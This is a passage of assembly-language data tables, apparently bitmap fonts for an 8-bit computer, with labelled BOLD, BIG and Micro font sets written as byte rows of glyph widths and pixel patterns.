#05,#00,#40,#40,#70,#90,#90,#E0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#38,#C0,#80,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#08,#08,#38,#D0,#90,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#30,#F0,#80,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#20,#40,#60,#80,#80,#80,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#00,#30,#D0,#70,#10,#E0,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#40,#40,#70,#90,#90,#90,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#40,#00,#40,#80,#80,#80,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#20,#00,#20,#40,#40,#40,#80,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#40,#40,#48,#B0,#E0,#90,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#40,#40,#40,#80,#80,#40,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#68,#B8,#A8,#A8,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#00,#70,#90,#90,#90,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#00,#30,#D0,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#00,#70,#90,#90,#E0,#80,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#38,#D0,#90,#70,#10,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#00,#70,#80,#80,#80,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#00,#30,#C0,#60,#C0,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#40,#40,#60,#80,#80,#40,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#48,#90,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#00,#44,#88,#50,#20,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#00,#44,#A8,#A8,#50,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#48,#70,#60,#90,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#48,#90,#70,#10,#60,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#78,#20,#40,#F0,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#10,#20,#20,#40,#20,#40,#40,#20,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#40,#40,#40,#80,#80,#80,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#40,#20,#20,#10,#20,#40,#40,#80,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#24,#58,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #08,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 ;*** Font - BOLD fnt_bold db #08,#20 db #03,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#C0,#C0,#C0,#C0,#00,#C0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#D8,#D8,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #08,#00,#6C,#FE,#6C,#6C,#FE,#6C,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#60,#F0,#E0,#70,#F0,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#C0,#D8,#30,#60,#D8,#18,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#60,#F0,#C0,#78,#F0,#D8,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#C0,#C0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#60,#C0,#C0,#C0,#C0,#C0,#C0,#60,#00,#00,#00,#00,#00,#00,#00 db #04,#C0,#60,#60,#60,#60,#60,#60,#C0,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#30,#FC,#78,#CC,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#30,#30,#FC,#30,#30,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#00,#00,#00,#00,#E0,#60,#C0,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#00,#F8,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#00,#00,#00,#00,#00,#C0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#18,#18,#30,#30,#60,#60,#C0,#C0,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#70,#D8,#D8,#D8,#D8,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#60,#E0,#60,#60,#60,#F0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#70,#D8,#30,#60,#C0,#F8,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#70,#D8,#30,#18,#D8,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#C0,#D8,#D8,#F8,#18,#18,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#F8,#C0,#F0,#18,#D8,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#78,#C0,#F0,#D8,#D8,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#F8,#18,#30,#30,#60,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#70,#D8,#70,#D8,#D8,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#70,#D8,#D8,#78,#18,#F0,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#00,#00,#C0,#00,#00,#C0,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#00,#00,#60,#00,#00,#60,#C0,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#30,#60,#C0,#60,#30,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#F8,#00,#F8,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#C0,#60,#30,#60,#C0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#70,#D8,#30,#60,#00,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#78,#CC,#DC,#DC,#C0,#78,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#70,#D8,#F8,#D8,#D8,#D8,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#F0,#D8,#F0,#D8,#D8,#F0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#70,#D8,#C0,#C0,#D8,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#F0,#D8,#D8,#D8,#D8,#F0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#F8,#C0,#F0,#C0,#C0,#F8,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#F8,#C0,#F0,#C0,#C0,#C0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#78,#C0,#D8,#D8,#D8,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#D8,#D8,#F8,#D8,#D8,#D8,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#C0,#C0,#C0,#C0,#C0,#C0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#18,#18,#18,#18,#D8,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#D8,#F0,#E0,#F0,#D8,#D8,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#C0,#C0,#C0,#C0,#C0,#F8,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#CC,#FC,#FC,#CC,#CC,#CC,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#CC,#EC,#FC,#DC,#CC,#CC,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#70,#D8,#D8,#D8,#D8,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#F0,#D8,#D8,#F0,#C0,#C0,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#70,#D8,#D8,#D8,#F8,#6C,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#F0,#D8,#F0,#D8,#D8,#D8,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#78,#C0,#70,#18,#D8,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#FC,#30,#30,#30,#30,#30,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#D8,#D8,#D8,#D8,#D8,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#CC,#CC,#CC,#78,#78,#30,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#CC,#CC,#CC,#FC,#FC,#CC,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#CC,#78,#30,#78,#CC,#CC,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#CC,#78,#30,#30,#30,#30,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#F8,#18,#30,#60,#C0,#F8,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#E0,#C0,#C0,#C0,#C0,#E0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#C0,#C0,#60,#60,#30,#30,#18,#18,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#E0,#60,#60,#60,#60,#E0,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#70,#D8,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#00,#00,#00,#00,#FC,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#C0,#60,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#78,#D8,#D8,#78,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#C0,#C0,#F0,#D8,#D8,#F0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#78,#C0,#C0,#78,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#18,#18,#78,#D8,#D8,#78,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#70,#F8,#C0,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#60,#C0,#E0,#C0,#C0,#C0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#70,#D8,#78,#18,#F0,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#C0,#C0,#F0,#D8,#D8,#D8,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#C0,#00,#C0,#C0,#C0,#C0,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#60,#00,#60,#60,#60,#60,#C0,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#C0,#C0,#D8,#F0,#F0,#D8,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#C0,#C0,#C0,#C0,#C0,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #08,#00,#00,#00,#FC,#D6,#D6,#D6,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#F0,#D8,#D8,#D8,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#70,#D8,#D8,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#F0,#D8,#D8,#F0,#C0,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#78,#D8,#D8,#78,#18,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#00,#F0,#C0,#C0,#C0,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#00,#70,#E0,#70,#E0,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#C0,#C0,#E0,#C0,#C0,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#D8,#D8,#D8,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#00,#CC,#CC,#78,#30,#00,#00,#00,#00,#00,#00,#00,#00 db #08,#00,#00,#00,#C6,#D6,#FE,#6C,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#D8,#70,#70,#D8,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#D8,#D8,#78,#18,#70,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#F8,#30,#60,#F8,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#30,#60,#60,#C0,#60,#60,#60,#30,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#C0,#C0,#C0,#C0,#C0,#C0,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#C0,#60,#60,#30,#60,#60,#60,#C0,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#76,#DC,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #08,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 ;*** Font - BIG fnt_big db #0A,#20 db #03,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#C0,#C0,#C0,#C0,#C0,#C0,#00,#C0,#C0,#00,#00,#00,#00,#00,#00 db #07,#6C,#D8,#D8,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #08,#6C,#6C,#FE,#6C,#6C,#6C,#FE,#6C,#6C,#00,#00,#00,#00,#00,#00 db #08,#10,#7C,#D6,#D0,#7C,#16,#D6,#7C,#10,#00,#00,#00,#00,#00,#00 db #08,#00,#40,#E6,#4C,#18,#30,#64,#CE,#04,#00,#00,#00,#00,#00,#00 db #08,#38,#6C,#6C,#38,#76,#DC,#CC,#CC,#76,#00,#00,#00,#00,#00,#00 db #04,#60,#60,#C0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#30,#60,#C0,#C0,#C0,#C0,#C0,#60,#30,#00,#00,#00,#00,#00,#00 db #05,#C0,#60,#30,#30,#30,#30,#30,#60,#C0,#00,#00,#00,#00,#00,#00 db #08,#00,#00,#6C,#38,#FE,#38,#6C,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#30,#30,#FC,#30,#30,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#00,#00,#00,#00,#00,#00,#60,#60,#C0,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#00,#F8,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#00,#00,#00,#00,#00,#00,#C0,#C0,#00,#00,#00,#00,#00,#00 db #07,#0C,#0C,#18,#18,#30,#60,#60,#C0,#C0,#00,#00,#00,#00,#00,#00 db #08,#38,#6C,#C6,#C6,#C6,#C6,#C6,#6C,#38,#00,#00,#00,#00,#00,#00 db #05,#30,#70,#F0,#30,#30,#30,#30,#30,#30,#00,#00,#00,#00,#00,#00 db #08,#7C,#C6,#C6,#0C,#38,#60,#C0,#C0,#FE,#00,#00,#00,#00,#00,#00 db #08,#7C,#C6,#06,#06,#1C,#06,#06,#C6,#7C,#00,#00,#00,#00,#00,#00 db #08,#0C,#1C,#3C,#6C,#CC,#FE,#0C,#0C,#0C,#00,#00,#00,#00,#00,#00 db #08,#FE,#C0,#C0,#F8,#0C,#06,#06,#CC,#78,#00,#00,#00,#00,#00,#00 db #08,#7C,#C6,#C6,#C0,#FC,#C6,#C6,#C6,#7C,#00,#00,#00,#00,#00,#00 db #08,#FE,#C6,#CC,#0C,#18,#18,#30,#30,#30,#00,#00,#00,#00,#00,#00 db #08,#7C,#C6,#C6,#C6,#7C,#C6,#C6,#C6,#7C,#00,#00,#00,#00,#00,#00 db #08,#7C,#C6,#C6,#C6,#7E,#06,#C6,#C6,#7C,#00,#00,#00,#00,#00,#00 db #03,#00,#00,#00,#C0,#C0,#00,#00,#C0,#C0,#00,#00,#00,#00,#00,#00 db #04,#00,#00,#00,#60,#60,#00,#00,#60,#60,#C0,#00,#00,#00,#00,#00 db #06,#00,#18,#30,#60,#C0,#60,#30,#18,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#F8,#00,#00,#F8,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#C0,#60,#30,#18,#30,#60,#C0,#00,#00,#00,#00,#00,#00,#00 db #08,#7C,#C6,#C6,#0C,#18,#30,#30,#00,#30,#00,#00,#00,#00,#00,#00 db #08,#00,#7C,#C6,#DE,#D6,#DC,#C0,#7C,#00,#00,#00,#00,#00,#00,#00 db #08,#10,#38,#6C,#C6,#C6,#FE,#C6,#C6,#C6,#00,#00,#00,#00,#00,#00 db #08,#FC,#C6,#C6,#C6,#FC,#C6,#C6,#C6,#FC,#00,#00,#00,#00,#00,#00 db #08,#7C,#C6,#C0,#C0,#C0,#C0,#C0,#C6,#7C,#00,#00,#00,#00,#00,#00 db #08,#F8,#CC,#C6,#C6,#C6,#C6,#C6,#CC,#F8,#00,#00,#00,#00,#00,#00 db #07,#FC,#C0,#C0,#C0,#F0,#C0,#C0,#C0,#FC,#00,#00,#00,#00,#00,#00 db #07,#FC,#C0,#C0,#C0,#F0,#C0,#C0,#C0,#C0,#00,#00,#00,#00,#00,#00 db #08,#7C,#C6,#C0,#C0,#CE,#C6,#C6,#C6,#7C,#00,#00,#00,#00,#00,#00 db #08,#C6,#C6,#C6,#C6,#FE,#C6,#C6,#C6,#C6,#00,#00,#00,#00,#00,#00 db #03,#C0,#C0,#C0,#C0,#C0,#C0,#C0,#C0,#C0,#00,#00,#00,#00,#00,#00 db #07,#0C,#0C,#0C,#0C,#0C,#0C,#CC,#CC,#78,#00,#00,#00,#00,#00,#00 db #08,#C6,#C6,#CC,#D8,#F0,#D8,#CC,#C6,#C6,#00,#00,#00,#00,#00,#00 db #07,#C0,#C0,#C0,#C0,#C0,#C0,#C0,#C0,#FC,#00,#00,#00,#00,#00,#00 db #08,#C6,#EE,#FE,#D6,#C6,#C6,#C6,#C6,#C6,#00,#00,#00,#00,#00,#00 db #08,#C6,#C6,#E6,#F6,#DE,#CE,#C6,#C6,#C6,#00,#00,#00,#00,#00,#00 db #08,#38,#6C,#C6,#C6,#C6,#C6,#C6,#6C,#38,#00,#00,#00,#00,#00,#00 db #08,#FC,#C6,#C6,#C6,#FC,#C0,#C0,#C0,#C0,#00,#00,#00,#00,#00,#00 db #08,#38,#6C,#C6,#C6,#C6,#D6,#CC,#DC,#76,#00,#00,#00,#00,#00,#00 db #08,#FC,#C6,#C6,#C6,#FC,#D8,#CC,#C6,#C6,#00,#00,#00,#00,#00,#00 db #08,#7C,#C6,#C0,#C0,#7C,#06,#06,#C6,#7C,#00,#00,#00,#00,#00,#00 db #07,#FC,#30,#30,#30,#30,#30,#30,#30,#30,#00,#00,#00,#00,#00,#00 db #08,#C6,#C6,#C6,#C6,#C6,#C6,#C6,#C6,#7C,#00,#00,#00,#00,#00,#00 db #08,#C6,#C6,#C6,#C6,#6C,#6C,#38,#38,#10,#00,#00,#00,#00,#00,#00 db #08,#C6,#C6,#C6,#C6,#C6,#D6,#FE,#EE,#C6,#00,#00,#00,#00,#00,#00 db #08,#C6,#C6,#C6,#6C,#38,#6C,#C6,#C6,#C6,#00,#00,#00,#00,#00,#00 db #07,#CC,#CC,#CC,#78,#30,#30,#30,#30,#30,#00,#00,#00,#00,#00,#00 db #07,#FC,#0C,#0C,#18,#30,#60,#C0,#C0,#FC,#00,#00,#00,#00,#00,#00 db #05,#F0,#C0,#C0,#C0,#C0,#C0,#C0,#C0,#F0,#00,#00,#00,#00,#00,#00 db #07,#C0,#C0,#60,#60,#30,#18,#18,#0C,#0C,#00,#00,#00,#00,#00,#00 db #05,#F0,#30,#30,#30,#30,#30,#30,#30,#F0,#00,#00,#00,#00,#00,#00 db #06,#20,#70,#D8,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#00,#00,#00,#00,#00,#00,#00,#FE,#00,#00,#00,#00,#00 db #05,#C0,#60,#30,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#00,#78,#0C,#7C,#CC,#CC,#7C,#00,#00,#00,#00,#00,#00 db #07,#C0,#C0,#C0,#F8,#CC,#CC,#CC,#CC,#F8,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#00,#78,#CC,#C0,#C0,#CC,#78,#00,#00,#00,#00,#00,#00 db #07,#0C,#0C,#0C,#7C,#CC,#CC,#CC,#CC,#7C,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#00,#78,#CC,#FC,#C0,#C0,#78,#00,#00,#00,#00,#00,#00 db #06,#38,#60,#60,#60,#F0,#60,#60,#60,#60,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#00,#78,#CC,#CC,#CC,#7C,#0C,#F8,#00,#00,#00,#00,#00 db #07,#C0,#C0,#C0,#F8,#CC,#CC,#CC,#CC,#CC,#00,#00,#00,#00,#00,#00 db #03,#00,#C0,#00,#C0,#C0,#C0,#C0,#C0,#C0,#00,#00,#00,#00,#00,#00 db #05,#00,#30,#00,#30,#30,#30,#30,#30,#30,#E0,#00,#00,#00,#00,#00 db #07,#C0,#C0,#CC,#CC,#D8,#F0,#D8,#CC,#CC,#00,#00,#00,#00,#00,#00 db #04,#C0,#C0,#C0,#C0,#C0,#C0,#C0,#C0,#60,#00,#00,#00,#00,#00,#00 db #08,#00,#00,#00,#6C,#FE,#D6,#D6,#C6,#C6,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#00,#F8,#CC,#CC,#CC,#CC,#CC,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#00,#78,#CC,#CC,#CC,#CC,#78,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#00,#F8,#CC,#CC,#CC,#F8,#C0,#C0,#00,#00,#00,#00,#00 db #07,#00,#00,#00,#7C,#CC,#CC,#CC,#7C,#0C,#0C,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#D8,#F0,#C0,#C0,#C0,#C0,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#00,#7C,#C0,#78,#0C,#0C,#F8,#00,#00,#00,#00,#00,#00 db #05,#60,#60,#60,#F0,#60,#60,#60,#60,#30,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#00,#CC,#CC,#CC,#CC,#CC,#7C,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#00,#CC,#CC,#CC,#CC,#78,#30,#00,#00,#00,#00,#00,#00 db #08,#00,#00,#00,#C6,#C6,#D6,#D6,#FE,#6C,#00,#00,#00,#00,#00,#00 db #08,#00,#00,#00,#C6,#6C,#38,#6C,#C6,#C6,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#00,#CC,#CC,#7C,#0C,#0C,#F8,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#F8,#18,#30,#60,#C0,#F8,#00,#00,#00,#00,#00,#00 db #05,#30,#60,#60,#60,#C0,#60,#60,#60,#30,#00,#00,#00,#00,#00,#00 db #03,#C0,#C0,#C0,#C0,#00,#C0,#C0,#C0,#C0,#00,#00,#00,#00,#00,#00 db #05,#C0,#60,#60,#60,#30,#60,#60,#60,#C0,#00,#00,#00,#00,#00,#00 db #08,#00,#00,#20,#76,#DC,#08,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #08,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 ;*** Font - Micro fnt_micro db #06,#20 db 4,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#40,#40,#40,#00,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#A0,#A0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#A0,#E0,#A0,#E0,#A0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#60,#C0,#E0,#60,#C0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#A0,#20,#40,#80,#A0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#40,#A0,#50,#A0,#50,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#20,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#20,#40,#40,#40,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#40,#20,#20,#20,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#A0,#40,#E0,#40,#A0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#40,#40,#E0,#40,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#00,#00,#00,#20,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#00,#E0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#00,#00,#00,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#20,#20,#40,#80,#80,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#40,#A0,#A0,#A0,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#40,#C0,#40,#40,#E0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#C0,#20,#40,#80,#E0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#C0,#20,#40,#20,#C0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#80,#A0,#E0,#20,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#E0,#80,#C0,#20,#C0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#60,#80,#C0,#A0,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#E0,#20,#40,#40,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#40,#A0,#40,#A0,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#40,#A0,#60,#20,#C0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#00,#40,#00,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#00,#40,#00,#40,#80,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#20,#40,#80,#40,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#00,#E0,#00,#E0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#80,#40,#20,#40,#80,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#C0,#20,#40,#00,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#60,#A0,#A0,#80,#60,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#40,#A0,#E0,#A0,#A0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#C0,#A0,#C0,#A0,#C0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#60,#80,#80,#80,#60,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#C0,#A0,#A0,#A0,#C0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#E0,#80,#C0,#80,#E0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#E0,#80,#C0,#80,#80,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#60,#80,#A0,#A0,#60,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#A0,#A0,#E0,#A0,#A0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#E0,#40,#40,#40,#E0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#E0,#20,#20,#A0,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#A0,#A0,#C0,#A0,#A0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#80,#80,#80,#80,#E0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#A0,#E0,#A0,#A0,#A0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#C0,#A0,#A0,#A0,#A0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#40,#A0,#A0,#A0,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#C0,#A0,#C0,#80,#80,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#40,#A0,#A0,#C0,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#C0,#A0,#C0,#A0,#A0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#60,#80,#40,#20,#C0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#E0,#40,#40,#40,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#A0,#A0,#A0,#A0,#60,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#A0,#A0,#A0,#40,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#A0,#A0,#A0,#E0,#A0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#A0,#A0,#40,#A0,#A0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#A0,#40,#40,#40,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#E0,#20,#40,#80,#E0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#C0,#80,#80,#80,#C0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#80,#80,#40,#20,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 4,#C0,#40,#40,#40,#C0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db 